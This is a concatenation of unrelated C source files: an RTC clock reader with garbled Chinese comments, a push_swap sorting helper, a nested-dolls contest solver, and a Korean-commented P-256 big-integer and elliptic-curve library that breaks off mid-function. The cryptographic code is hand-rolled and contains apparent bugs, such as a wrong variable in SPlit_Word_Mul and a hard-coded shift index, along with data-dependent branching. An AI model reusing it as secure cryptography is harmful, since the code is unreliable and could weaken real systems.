*: DS3231_Read_Year()
*: ʱ
*:
*أ
*˵ ȡֵ99ꣻ
========================================================================*/
void DS3231_Read_Time(void)
{
uint8 receivedata;
receivedata=IIC_read(0xd0,0x01);
receivedata=BCD2HEX(receivedata);
Read_IIC_Time.IIC_Read_Minute = receivedata;
delayus(10);
receivedata=IIC_read(0xd0,0x02);
receivedata=BCD2HEX(receivedata);
Read_IIC_Time.IIC_Read_Hour = receivedata;
delayus(10);
receivedata=IIC_read(0xd0,0x04);
receivedata=BCD2HEX(receivedata);
Read_IIC_Time.IIC_Read_Day = receivedata;
delayus(10);
receivedata=IIC_read(0xd0,0x05);
receivedata=BCD2HEX(receivedata);
Read_IIC_Time.IIC_Read_Month = receivedata;
delayus(10);
receivedata=IIC_read(0xd0,0x06);
receivedata=BCD2HEX(receivedata);
Read_IIC_Time.IIC_Read_Year = receivedata;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* nao_q_sort_aux.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: saubenne <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/05/06 16:34:36 by saubenne #+# #+# */
/* Updated: 2017/05/06 16:34:39 by saubenne ### ########.fr */
/* */
/* ************************************************************************** */
#include "push_swap.h"
int l_choose_pivot(int pivot, int size, int ratio)
{
int i;
i = pivot + ((size - pivot) / ratio);
return (pivot = (pivot == i) ? pivot + 1 : i);
}
int l_below_than_piv(t_node *a, int pivot)
{
t_node *tmp;
int i;
tmp = a;
i = 0;
while (TRUE)
{
if (tmp->nb < pivot)
i++;
tmp = tmp->next;
if (tmp == a)
break ;
}
return (i);
}
static int l_lower_or_higher(t_node *b, int n)
{
int i;
if (!b || (b == b->next))
return (-1);
i = 0;
while (b->nb != n)
{
i++;
b = b->next;
}
return ((i < (n - i + 1)) ? 1 : 0);
}
void l_move_to_higher(t_piles *p, t_env *e, int max, int do_write)
{
e->trigger = FALSE;
if ((l_lower_or_higher(p->b, max)) == 1)
while (p->b->nb != max)
{
if (p->b->nb == (max - 1))
{
e->trigger = TRUE;
e->b_length += pa(p, do_write);
}
if (p->b->nb == max)
break ;
e->b_length += rb(p, do_write);
}
else
while (p->b->nb != max)
{
if (p->b->nb == (max - 1) && (p->b->prev->nb != max))
{
e->trigger = TRUE;
e->b_length += pa(p, do_write);
}
if (p->b->nb == max)
break ;
e->b_length += rrb(p, do_write);
}
}
|
C
|
/*
* 1677 Nested Dolls
*/
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include "Source/heap.c"
struct doll {
int y, x;
};
struct doll *doll_new(int y, int x)
{
struct doll *d;
assert(d = malloc(sizeof(struct doll)));
d->y = y;
d->x = x;
return d;
}
void doll_destroy(struct doll *d)
{
if (d)
free(d);
}
int cmp(void *x, void *y)
{
return ((struct doll *)x)->y - ((struct doll *)y)->y;
}
int main(void)
{
int ncas, n, y, x, i, dolls, start;
struct doll *d, *current;
struct heap *h = heap_new(20000);
h->cmp = cmp;
freopen("Inputs/1677", "r", stdin);
setbuf(stdout, NULL);
scanf("%d", &ncas);
while (ncas--) {
scanf("%d", &n);
for (i = 0; i < n; ++i) {
scanf("%d%d", &y, &x);
d = doll_new(y, x);
heap_insert(d, h);
//h->cell[++h->last] = d;
}
/* heap building */
//printf("h->last = %d\n", h->last);
/*
for (i = h->last / 2; i > 0; --i)
heap_pdown(i, h);
*/
/* heap sort */
while ((d = heap_del(h)) != NULL) {
//printf("%d ", d->y);
h->cell[h->last + 1] = d;
}
//printf("\n");
//sleep(10000);
dolls = 0;
for (start = 1; start <= n; ++start) {
current = h->cell[start];
if (!current)
continue;
h->cell[start] = NULL;
++dolls;
printf("(%d,%d)", current->y, current->x);
for (i = start + 1; i <= n; ++i) {
d = h->cell[i];
if (d && d->y != current->y && d->x < current->x) {
h->cell[i] = NULL;
doll_destroy(current);
current = d;
printf("(%d,%d)", current->y, current->x);
}
}
printf("\n");
//sleep(1);
}
printf("%d\n", dolls);
////sleep(1);
}
return 0;
}
|
C
|
#include "Bignumber.h"
long long cpucycles()
{
return __rdtsc();
}
void set_bigint(bigint_st *bi_X, word *Input)
{
int cnt_i;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
bi_X->a[cnt_i] = Input[WORD_LEN - (cnt_i + 1)]; //? Input된 배열의 값을 실질적으로 대입해줌 단 메모리 저장순서는 역순으로 -> 계산의 편리성을 위하여
}
bi_X->e = 0;
}
void reset_bigint(bigint_st *bi_X)
{
int cnt_i;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
bi_X->a[cnt_i] = 0x00; //? Biginteger을 0으로 만들어주는 함수
}
bi_X->e = 0;
}
void copy_bigint(bigint_st *dst, bigint_st *src)
{
int cnt_i;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
dst->a[cnt_i] = src->a[cnt_i];
}
dst->e = src->e;
}
void show(bigint_st *bi_X) //? 숫자를 보여주는 함수
{
int cnt_i;
printf("0x");
for (cnt_i = WORD_LEN - 1; cnt_i >= 0; cnt_i--)
{
#if WORD_BITLEN == 32
printf("%08X", bi_X->a[cnt_i]); // Wordbitlen = 32일 경우 즉 4byte가 1워드인경우
#else
printf("%016llX", bi_X->a[cnt_i]); // Wordbitlen = 64일 경우 즉 8byte가 1워드인경우
#endif
}
printf("\n");
}
int Compare(bigint_st *bi_X, bigint_st *bi_Y) //? bi_X,bi_Y의 크기를 비교해주는 함수
{
int cnt_i;
for (cnt_i = WORD_LEN - 1; cnt_i >= 0; cnt_i--)
{
if (bi_X->a[cnt_i] > bi_Y->a[cnt_i]) // 배열의 각 word를 비교하기
return FST_IS_BIG; // First is big (bi_X>bi_Y)
if (bi_X->a[cnt_i] < bi_Y->a[cnt_i])
return SCD_IS_BIG; // Second is big
}
return BOTH_ARE_SAME; // 만약 해당하는것이 아무것도 없는경우 두수는 같다고 표현
printf("ERROR");
return ERROR;
}
void setone(bigint_st *bi_X)
{
int cnt_i = 0;
for (cnt_i = 1; cnt_i < WORD_LEN; cnt_i++)
{
bi_X->a[cnt_i] = 0x00;
}
bi_X->a[0] = 0x01;
}
int isEven(bigint_st *bi_X)
{
if ((bi_X->a[0] & 0x01) == 1)
return FALSE;
else
{
return TRUE;
}
}
int isOne(bigint_st *bi_X)
{
int cnt_i = 0;
for (cnt_i = 1; cnt_i < WORD_LEN; cnt_i++)
{
if (bi_X->a[cnt_i] != 0x00)
return FALSE;
}
if (bi_X->a[0] == 0x01)
return TRUE;
else
{
return FALSE;
}
}
int iszero(bigint_st *bi_X)
{
int cnt_i = 0;
for (cnt_i = 1; cnt_i < WORD_LEN; cnt_i++)
{
if (bi_X->a[cnt_i] != 0x00)
return FALSE;
}
return TRUE;
}
void RightShift(bigint_st *bi_X)
{
int temp = 0;
int cnt_i = 0;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
bi_X->a[cnt_i] = bi_X->a[cnt_i] >> 1;
if (cnt_i < 7)
{
temp = (bi_X->a[cnt_i + 1] & 1) << 31;
bi_X->a[cnt_i] = bi_X->a[cnt_i] ^ temp;
}
}
}
void Addition(bigint_st *bi_X, bigint_st *bi_Y, bigint_st *bi_Z, bigint_st *Prime)
{
int cnt_i; //for loop counting variable
int carry = 0; // Carry
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++) //둘의 WORD_LEN이 같으므로 한번에 계산 가능하다
{
bi_Z->a[cnt_i] = bi_X->a[cnt_i] + bi_Y->a[cnt_i] + carry; // 단순 덧셈. modulo는 자동적으로 작동 (word = unsigned int)
if (bi_X->a[cnt_i] == bi_Z->a[cnt_i])
continue;
carry = bi_X->a[cnt_i] > bi_Z->a[cnt_i] ? 1 : 0;
}
bi_Z->e = carry; // 구조체의 e값은 carry값이므로 그대로 대입해준다.
Reduction(bi_Z, Prime);
}
void Addition_NR(bigint_st *bi_X, bigint_st *bi_Y, bigint_st *bi_Z, bigint_st *Prime)
{
int cnt_i; //for loop counting variable
int carry = 0; // Carry
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++) //둘의 WORD_LEN이 같으므로 한번에 계산 가능하다
{
bi_Z->a[cnt_i] = bi_X->a[cnt_i] + bi_Y->a[cnt_i] + carry; // 단순 덧셈. modulo는 자동적으로 작동
if (bi_X->a[cnt_i] == bi_Z->a[cnt_i])
continue;
carry = bi_X->a[cnt_i] > bi_Z->a[cnt_i] ? 1 : 0;
}
bi_Z->e = carry; // 구조체의 e값은 carry값이므로 그대로 대입해준다.
}
int sub_Core_borrow(word a, word b) //? Addition에서는 carry, Subtraction에서는 borrow. borrow를 생각해주는 함수이다.
{
if (a >= b)
return 0;
return 1;
}
void Subtraction(bigint_st *bi_X, bigint_st *bi_Y, bigint_st *bi_Z, bigint_st *Prime)
{
int borrow = 0;
int cnt_i = 0;
int carry = 0;
unsigned int temp[WORD_LEN] = {0x00};
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++) //WORD_LEN의 길이만큼 뺼셈을 해준다. 루프안의 각각경우마다 두번의 뺄셈이들어간다.
{ //1번째 뺄셈은 bi_X와 borrow값, 2번쨰 뺄셈은 1번쨰 뺼셈의 결과와 bi_Y.
bi_Z->a[cnt_i] = bi_X->a[cnt_i] - borrow;
borrow = sub_Core_borrow(bi_X->a[cnt_i], borrow); //borrow는 연속적으로 계산을 해줘야한다.
borrow += sub_Core_borrow(bi_Z->a[cnt_i], bi_Y->a[cnt_i]);
bi_Z->a[cnt_i] = bi_Z->a[cnt_i] - bi_Y->a[cnt_i];
}
bi_Z->e = borrow;
if (bi_Z->e == 1) // borrow가 1인경우 감산을 해줘야하는데 뺄셈은, P값을 더해주어야한다.알고리즘은 덧셈과 동일
{
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
temp[cnt_i] = bi_Z->a[cnt_i] + Prime->a[cnt_i] + carry;
if (temp[cnt_i] == bi_Z->a[cnt_i])
continue;
carry = temp[cnt_i] < bi_Z->a[cnt_i] ? 1 : 0;
bi_Z->a[cnt_i] = temp[cnt_i];
}
bi_Z->e = 0;
}
}
void Reduction(bigint_st *bi_X, bigint_st *Prime) //? 감산 함수.
{
if (bi_X->e == 1) //P값보다 크거나 carry값이 1일때
{
unsigned int temp[WORD_LEN] = {0x00};
int borrow = 0;
int cnt_i = 0;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++) //감산해주는 함수는 뺄셈과 동일한 알고리즘을 가진다.
{
temp[cnt_i] = bi_X->a[cnt_i] - borrow;
borrow = sub_Core_borrow(bi_X->a[cnt_i], borrow);
borrow += sub_Core_borrow(temp[cnt_i], Prime->a[cnt_i]);
temp[cnt_i] = temp[cnt_i] - Prime->a[cnt_i];
}
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
bi_X->a[cnt_i] = temp[cnt_i];
}
}
}
void OS64MUL_256(bigint_st *bi_X, bigint_st *bi_Y, bigint_st *bi_Z, bigint_st *Prime)
{ //OS 64 Mul은 32bit 두개를 곱셈한 값을 저장시킬수있는 64bit 변수를 선언함으로써 가능하다.
int cnt_i, cnt_j;
unsigned long long UV = 0x00LL;
unsigned int U, V = 0x00;
word result[WORD_LEN * 2] = {0x00};
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
UV &= 0x00000000ffffffff;
for (cnt_j = 0; cnt_j < WORD_LEN; cnt_j++)
{
U = UV >> 32;
UV = result[cnt_i + cnt_j] + ((unsigned long long)bi_X->a[cnt_i] * (unsigned long long)bi_Y->a[cnt_j]) + U;
V = UV & 0x00000000ffffffff;
result[cnt_i + cnt_j] = V;
}
U = UV >> 32;
result[cnt_i + WORD_LEN] = U;
}
Reduction_256(result, bi_Z, Prime);
}
void SPlit_Word_Mul(word* A, word* B, word* C)
{
//! 곱셈:4 ,shift :8, 조건문 :2, 덧셈 12
word temp[2] = {0x00};
word temp0, temp1, temp2, temp3, temp4;
temp0 = ((*A) & 0x0000ffff) * ((*B) & 0x0000ffff);
temp1 = ((*A) >> 16) * ((*B) & 0x0000ffff);
temp2 = ((*B) >> 16) * ((*A) & 0x0000ffff);
temp3 = temp1 & 0x0000ffff;
temp4 = temp2 & 0x0000ffff;
temp3 = temp3 << 16;
temp4 = temp2 << 16;
temp[0] = temp0 + temp3;
if (temp[0] < temp0)
temp[1]++;
temp[0] += temp4;
if (temp[0] < temp4)
temp[1]++;
temp3 = temp1 >> 16;
temp4 = temp2 >> 16;
temp0 = ((*A) >> 16) * ((*B) >> 16);
temp[1] += temp3 + temp4 + temp0;
C[0] = temp[0];
C[1] = temp[1];
}
void PS_Split_MUL_256(bigint_st *bi_X,bigint_st *bi_Y,bigint_st *bi_Z,bigint_st *Prime)//? PS_Split version of Multiplication of Two Biginteger
{
int cnt_i = 0, cnt_j = 0; //for loop counting variable
word result[WORD_LEN * WORD_LEN] = {0x00};
word AH = 0x00;
word AL = 0x00;
word BH = 0x00;
word BL = 0x00;
word tmp = 0x00;
word temp1[16] = {0x00};
word temp2[16] = {0x00};
word temp3[16] = {0x00};
int carry = 0;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
for (cnt_j = 0; cnt_j < WORD_LEN; cnt_j++)
{
AH = bi_X->a[cnt_i] >> 16;
AL = bi_X->a[cnt_i] & 0x0000ffff;
BH = bi_Y->a[cnt_j] >> 16;
BL = bi_Y->a[cnt_j] & 0x0000ffff;
tmp = AL * BL;
temp1[cnt_i + cnt_j] += tmp;
carry = temp1[cnt_i + cnt_j] < (tmp) ? 1 : 0;
temp1[cnt_i + cnt_j + 1] += carry;
tmp = AH * BH;
temp1[cnt_i + cnt_j + 1] += tmp;
carry = temp1[cnt_i + cnt_j + 1] < (tmp) ? 1 : 0;
temp1[cnt_i + cnt_j + 2] += carry;
}
}
//!
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
for (cnt_j = 0; cnt_j < WORD_LEN; cnt_j++)
{
AH = bi_X->a[cnt_i] >> 16;
BH = bi_Y->a[cnt_j] >> 16;
AL = bi_X->a[cnt_i] & 0x0000ffff;
BL = bi_Y->a[cnt_j] & 0x0000ffff;
tmp = AL * BH;
temp2[cnt_i + cnt_j] += tmp;
carry = temp2[cnt_i + cnt_j] < tmp ? 1 : 0;
temp2[cnt_i + cnt_j + 1] += carry;
tmp = AH * BL;
temp2[cnt_i + cnt_j] += tmp;
carry = temp2[cnt_i + cnt_j] < tmp ? 1 : 0;
temp2[cnt_i + cnt_j + 1] += carry;
}
}
//!
for (cnt_i = 0; cnt_i < 2 * WORD_LEN; cnt_i++)
{
if (cnt_i == 0)
{
AH = temp2[cnt_i] >> 16;
temp2[cnt_i] = temp2[cnt_i] << 16;
continue;
}
AL = temp2[cnt_i] >> 16;
temp2[cnt_i] = temp2[cnt_i] << 16;
temp2[cnt_i] &= 0xffff0000;
temp2[cnt_i] ^= AH;
AH = AL;
}
carry = 0;
for (cnt_i = 0; cnt_i < WORD_LEN * 2; cnt_i++) //둘의 WORD_LEN이 같으므로 한번에 계산 가능하다
{
temp3[cnt_i] = temp1[cnt_i] + temp2[cnt_i] + carry; // 단순 덧셈. modulo는 자동적으로 작동
carry = temp3[cnt_i] < temp1[cnt_i] ? 1 : 0;
result[cnt_i] = temp3[cnt_i];
}
Reduction_256(result,bi_Z, Prime);
}
void OS_SPlit_MUL_256(bigint_st *bi_X,bigint_st *bi_Y,bigint_st *bi_Z,bigint_st *Prime)//? OS64 version of Multiplication of Two Biginteger
{
int cnt_i, cnt_j; //for loop counting variable
word UV[2] = {0x00};
word result[WORD_LEN*WORD_LEN] = {0x00};
unsigned int U;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
UV[1] = 0x00;
for (cnt_j = 0; cnt_j < WORD_LEN; cnt_j++)
{
U = UV[1];
SPlit_Word_Mul(&(bi_X->a[cnt_i]), &(bi_Y->a[cnt_j]), UV);
UV[0] += U;
if (UV[0] < U)
UV[1]++;
UV[0] += result[cnt_i + cnt_j];
if (UV[0] < result[cnt_i + cnt_j])
UV[1]++;
result[cnt_i + cnt_j] = UV[0];
}
result[cnt_i + WORD_LEN] = UV[1];
}
Reduction_256(result,bi_Z, Prime);
}
void Reduction_256(word *bi_X, bigint_st *bi_Z, bigint_st *Prime)//? Using Fast reduction 256 method
{
int cnt_i = 0;
bigint_st Temp1 = {{0x00}, 0x00};
bigint_st Temp2 = {{0x00}, 0x00};
bigint_st S1 = {{0x00}, 0x00};
bigint_st S2 = {{0x00}, 0x00};
bigint_st S3 = {{0x00}, 0x00};
bigint_st S4 = {{0x00}, 0x00};
bigint_st S5 = {{0x00}, 0x00};
bigint_st S6 = {{0x00}, 0x00};
bigint_st S7 = {{0x00}, 0x00};
bigint_st S8 = {{0x00}, 0x00};
bigint_st S9 = {{0x00}, 0x00};
word Input1[8] = {bi_X[7], bi_X[6], bi_X[5], bi_X[4], bi_X[3], bi_X[2], bi_X[1], bi_X[0]};
word Input2[8] = {bi_X[15], bi_X[14], bi_X[13], bi_X[12], bi_X[11], 0x00, 0x00, 0x00};
word Input3[8] = {0x00, bi_X[15], bi_X[14], bi_X[13], bi_X[12], 0x00, 0x00, 0x00};
word Input4[8] = {bi_X[15], bi_X[14], 0x00, 0x00, 0x00, bi_X[10], bi_X[9], bi_X[8]};
word Input5[8] = {bi_X[8], bi_X[13], bi_X[15], bi_X[14], bi_X[13], bi_X[11], bi_X[10], bi_X[9]};
word Input6[8] = {bi_X[10], bi_X[8], 0x00, 0x00, 0x00, bi_X[13], bi_X[12], bi_X[11]};
word Input7[8] = {bi_X[11], bi_X[9], 0x00, 0x00, bi_X[15], bi_X[14], bi_X[13], bi_X[12]};
word Input8[8] = {bi_X[12], 0x00, bi_X[10], bi_X[9], bi_X[8], bi_X[15], bi_X[14], bi_X[13]};
word Input9[9] = {bi_X[13], 0x00, bi_X[11], bi_X[10], bi_X[9], 0x00, bi_X[15], bi_X[14]};
set_bigint(&S1, Input1);
set_bigint(&S2, Input2);
set_bigint(&S3, Input3);
set_bigint(&S4, Input4);
set_bigint(&S5, Input5);
set_bigint(&S6, Input6);
set_bigint(&S7, Input7);
set_bigint(&S8, Input8);
set_bigint(&S9, Input9);
Addition(&S1, &S2, &Temp1, Prime);
Subtraction(&Temp1, &S6, &Temp2, Prime);
Addition(&Temp2, &S2, &Temp1, Prime);
Subtraction(&Temp1, &S7, &Temp2, Prime);
Addition(&Temp2, &S3, &Temp1, Prime);
Subtraction(&Temp1, &S8, &Temp2, Prime);
Addition(&Temp2, &S3, &Temp1, Prime);
Subtraction(&Temp1, &S9, &Temp2, Prime);
Addition(&Temp2, &S4, &Temp1, Prime);
Addition(&Temp1, &S5, &Temp2, Prime);
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
bi_Z->a[cnt_i] = Temp2.a[cnt_i];
}
}
void Inverse_FLT(bigint_st *bi_X, bigint_st *bi_Z, bigint_st *Prime) //? Inv 함수 하지만 거의 사용하지 않을것이고, 주로 EEA방법을 사용할 것입니다.
{
int cnt_i = 0;
bigint_st z3 = {{0x00}, 0x00};
bigint_st z15 = {{0x00}, 0x00};
bigint_st temp1 = {{0x00}, 0x00};
bigint_st temp2 = {{0x00}, 0x00};
bigint_st temp3 = {{0x00}, 0x00};
OS64MUL_256(bi_X, bi_X, &temp1, Prime);
OS64MUL_256(&temp1, bi_X, &z3, Prime);
OS64MUL_256(&z3, &z3, &temp1, Prime);
OS64MUL_256(&temp1, &temp1, &temp2, Prime);
OS64MUL_256(&temp2, &z3, &z15, Prime);
bigint_st t0 = {{0x00}, 0x00};
OS64MUL_256(&z15, &z15, &temp1, Prime);
OS64MUL_256(&temp1, &temp1, &temp2, Prime);
OS64MUL_256(&temp2, &z3, &t0, Prime);
bigint_st t1 = {{0x00}, 0x00};
OS64MUL_256(&t0, &t0, &temp1, Prime);
for (cnt_i = 0; cnt_i < 2; cnt_i++) //* (n -2) /2
{
OS64MUL_256(&temp1, &temp1, &temp2, Prime);
OS64MUL_256(&temp2, &temp2, &temp1, Prime);
}
OS64MUL_256(&temp1, &temp1, &temp3, Prime);
OS64MUL_256(&temp3, &t0, &t1, Prime);
bigint_st t2 = {{0x00}, 0x00};
OS64MUL_256(&t1, &t1, &temp1, Prime);
for (cnt_i = 0; cnt_i < 5; cnt_i++) //* (n -2) /2
{
OS64MUL_256(&temp1, &temp1, &temp2, Prime);
OS64MUL_256(&temp2, &temp2, &temp1, Prime);
}
OS64MUL_256(&temp1, &temp1, &temp3, Prime);
OS64MUL_256(&temp3, &t1, &t2, Prime);
OS64MUL_256(&t2, &t2, &temp1, Prime);
for (cnt_i = 0; cnt_i < 2; cnt_i++) //* (n -2) /2
{
OS64MUL_256(&temp1, &temp1, &temp2, Prime);
OS64MUL_256(&temp2, &temp2, &temp1, Prime);
}
OS64MUL_256(&temp1, &temp1, &temp3, Prime);
OS64MUL_256(&temp3, &t0, &t2, Prime);
bigint_st t3 = {{0x00}, 0x00};
OS64MUL_256(&t2, &t2, &temp1, Prime);
OS64MUL_256(&temp1, &temp1, &temp2, Prime);
OS64MUL_256(&temp2, &z3, &t3, Prime);
bigint_st t4 = {{0x00}, 0x00};
OS64MUL_256(&t3, &t3, &temp1, Prime);
for (cnt_i = 0; cnt_i < 15; cnt_i++) //* (n -2) /2
{
OS64MUL_256(&temp1, &temp1, &temp2, Prime);
OS64MUL_256(&temp2, &temp2, &temp1, Prime);
}
OS64MUL_256(&temp1, &temp1, &temp3, Prime);
OS64MUL_256(&temp3, bi_X, &t4, Prime);
OS64MUL_256(&t4, &t4, &temp1, Prime);
for (cnt_i = 0; cnt_i < 47; cnt_i++) //* (n -2) /2
{
OS64MUL_256(&temp1, &temp1, &temp2, Prime);
OS64MUL_256(&temp2, &temp2, &temp1, Prime);
}
OS64MUL_256(&temp1, &temp1, &t4, Prime);
bigint_st t5 = {{0x00}, 0x00};
OS64MUL_256(&t4, &t4, &temp1, Prime);
for (cnt_i = 0; cnt_i < 15; cnt_i++) //* (n -2) /2
{
OS64MUL_256(&temp1, &temp1, &temp2, Prime);
OS64MUL_256(&temp2, &temp2, &temp1, Prime);
}
OS64MUL_256(&temp1, &temp1, &temp3, Prime);
OS64MUL_256(&temp3, &t3, &t5, Prime);
OS64MUL_256(&t5, &t5, &temp1, Prime);
for (cnt_i = 0; cnt_i < 15; cnt_i++) //* (n -2) /2
{
OS64MUL_256(&temp1, &temp1, &temp2, Prime);
OS64MUL_256(&temp2, &temp2, &temp1, Prime);
}
OS64MUL_256(&temp1, &temp1, &temp3, Prime);
OS64MUL_256(&temp3, &t3, &t5, Prime);
OS64MUL_256(&t5, &t5, &temp1, Prime);
for (cnt_i = 0; cnt_i < 14; cnt_i++) //* (n -2) /2
{
OS64MUL_256(&temp1, &temp1, &temp2, Prime);
OS64MUL_256(&temp2, &temp2, &temp1, Prime);
}
OS64MUL_256(&temp1, &temp1, &temp3, Prime);
OS64MUL_256(&temp3, &t2, bi_Z, Prime);
OS64MUL_256(bi_Z, bi_Z, &temp1, Prime);
OS64MUL_256(&temp1, &temp1, &temp2, Prime);
OS64MUL_256(&temp2, bi_X, bi_Z, Prime);
}
void Inverse_EEA(bigint_st *bi_X, bigint_st *bi_Z, bigint_st *Prime) // Inverse
{
bigint_st u = {{0x00}, 0x00};
bigint_st v = {{0x00}, 0x00};
bigint_st x1 = {{0x00}, 0x00};
bigint_st x2 = {{0x00}, 0x00};
bigint_st temp = {{0x00}, 0x00};
x1.a[0] = 0x01;
copy_bigint(&u, bi_X);
copy_bigint(&v, Prime);
int cnt_i = 0;
while ((isOne(&u) == FALSE) && (isOne(&v) == FALSE))
{
while (isEven(&u) == TRUE)
{
RightShift(&u);
if (isEven(&x1) == TRUE)
RightShift(&x1);
else
{
Addition_NR(&x1, Prime, &temp, Prime);
RightShift(&temp);
if (temp.e == 1)
temp.a[WORD_LEN - 1] ^= 0x80000000;
copy_bigint(&x1, &temp);
}
}
while (isEven(&v) == TRUE)
{
RightShift(&v);
if (isEven(&x2) == TRUE)
RightShift(&x2);
else
{
Addition_NR(&x2, Prime, &temp, Prime);
RightShift(&temp);
if (temp.e == 1)
temp.a[WORD_LEN - 1] ^= 0x80000000;
copy_bigint(&x2, &temp);
}
}
if (Compare(&u, &v) != SCD_IS_BIG)
{
Subtraction(&u, &v, &temp, Prime);
copy_bigint(&u, &temp);
Subtraction(&x1, &x2, &temp, Prime);
copy_bigint(&x1, &temp);
}
else
{
Subtraction(&v, &u, &temp, Prime);
copy_bigint(&v, &temp);
Subtraction(&x2, &x1, &temp, Prime);
copy_bigint(&x2, &temp);
}
}
if (isOne(&u) == TRUE)
{
copy_bigint(bi_Z, &x1);
}
else
{
copy_bigint(bi_Z, &x2);
}
}
void show_EN(Ecc_pt *EN_X)
{
if (EN_X->isinfinity == TRUE)
{
printf("무한원점입니다.\n");
return; //* L_to_R//* L_to_R//* L_to_R
}
int cnt_i = 0;
printf("X = ");
for (cnt_i = WORD_LEN - 1; cnt_i >= 0; cnt_i--)
{
printf("%08X", EN_X->x.a[cnt_i]);
}
printf("\nY = ");
for (cnt_i = WORD_LEN - 1; cnt_i >= 0; cnt_i--)
{
printf("%08X", EN_X->y.a[cnt_i]);
}
printf("\n\n");
}
void show_EN_J(Ecc_Jpt *EN_X)
{
int cnt_i = 0;
if (EN_X->isinfinity == TRUE)
{
printf("무한원점입니다.\n");
return;
}
printf("X = ");
for (cnt_i = WORD_LEN - 1; cnt_i >= 0; cnt_i--)
{
printf("%08X", EN_X->x.a[cnt_i]);
}
printf("\nY = ");
for (cnt_i = WORD_LEN - 1; cnt_i >= 0; cnt_i--)
{
printf("%08X", EN_X->y.a[cnt_i]);
}
printf("\nZ = ");
for (cnt_i = WORD_LEN - 1; cnt_i >= 0; cnt_i--)
{
printf("%08X", EN_X->z.a[cnt_i]);
}
printf("\n\n");
}
void set_EN(Ecc_pt *EN_P, word *input_X, word *input_Y)
{
int cnt_i = 0;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
EN_P->x.a[cnt_i] = input_X[WORD_LEN - cnt_i - 1];
EN_P->y.a[cnt_i] = input_Y[WORD_LEN - cnt_i - 1];
}
}
void set_EN_J(Ecc_Jpt *EN_P, word *input_X, word *input_Y, word *input_Z)
{
int cnt_i = 0;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
EN_P->x.a[cnt_i] = input_X[WORD_LEN - cnt_i - 1];
EN_P->y.a[cnt_i] = input_Y[WORD_LEN - cnt_i - 1];
EN_P->z.a[cnt_i] = input_Z[WORD_LEN - cnt_i - 1];
}
}
void set_EN_J_reverse(Ecc_Jpt *EN_P, word *input_X, word *input_Y, word *input_Z)
{
int cnt_i = 0;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
EN_P->x.a[cnt_i] = input_X[cnt_i];
EN_P->y.a[cnt_i] = input_Y[cnt_i];
EN_P->z.a[cnt_i] = input_Z[cnt_i];
}
}
void set_EN_J_reverse_nonZ(Ecc_Jpt *EN_P, word *input_X, word *input_Y, word *input_Z)
{
int cnt_i = 0;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
EN_P->x.a[cnt_i] = input_X[cnt_i];
EN_P->y.a[cnt_i] = input_Y[cnt_i];
EN_P->z.a[cnt_i] = input_Z[WORD_LEN - cnt_i - 1];
}
}
void set_EN_reset(Ecc_pt *EN_P)
{
int cnt_i = 0;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
EN_P->x.a[cnt_i] = 0x00;
EN_P->y.a[cnt_i] = 0x00;
}
EN_P->x.e = 0;
EN_P->y.e = 0;
}
void set_EN_J_reset(Ecc_Jpt *EN_P)
{
int cnt_i = 0;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
EN_P->x.a[cnt_i] = 0x00;
EN_P->y.a[cnt_i] = 0x00;
EN_P->z.a[cnt_i] = 0x00;
}
EN_P->x.e = 0;
EN_P->y.e = 0;
EN_P->z.e = 0;
}
void EN_copy(Ecc_pt *EN_dst, Ecc_pt *EN_src)
{
int cnt_i = 0;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
EN_dst->x.a[cnt_i] = EN_src->x.a[cnt_i];
EN_dst->y.a[cnt_i] = EN_src->y.a[cnt_i];
}
}
void EN_J_copy(Ecc_Jpt *EN_dst, Ecc_Jpt *EN_src)
{
int cnt_i = 0;
for (cnt_i = 0; cnt_i < WORD_LEN; cnt_i++)
{
EN_dst->x.a[cnt_i] = EN_src->x.a[cnt_i];
EN_dst->y.a[cnt_i] = EN_src->y.a[cnt_i];
EN_dst->z.a[cnt_i] = EN_src->z.a[cnt_i];
}
}
void Trns_A_to_J(Ecc_Jpt *dst, Ecc_pt *src, bigint_st *Prime)
{
bigint_st Z1 = {{0x00}, 0x00};
word Z1_array[8] = {0x00, 0x00, 0x00, 0x00, 0x000, 0x00, 0x00, 0x01};
set_bigint(&Z1, Z1_array);
set_EN_J_reverse(dst, src->x.a, src->y.a, Z1.a);
}
void Trns_J_to_A(Ecc_pt *dst, Ecc_Jpt *src, bigint_st *Prime)
{
bigint_st Z1 = {{0x00}, 0x00};
copy_bigint(&Z1, &src->z);
bigint_st Z2 = {{0x00}, 0x00};
bigint_st Z2inv = {{0x00}, 0x00};
bigint_st Z3 = {{0x00}, 0x00};
bigint_st Z3inv = {{0x00}, 0x00};
OS64MUL_256(&Z1, &Z1, &Z2, Prime);
OS64MUL_256(&Z1, &Z2, &Z3, Prime);
Inverse_EEA(&Z3, &Z3inv, Prime);
OS64MUL_256(&Z3inv, &src->y, &dst->y, Prime);
OS64MUL_256(&Z3inv, &Z1, &Z2inv, Prime);
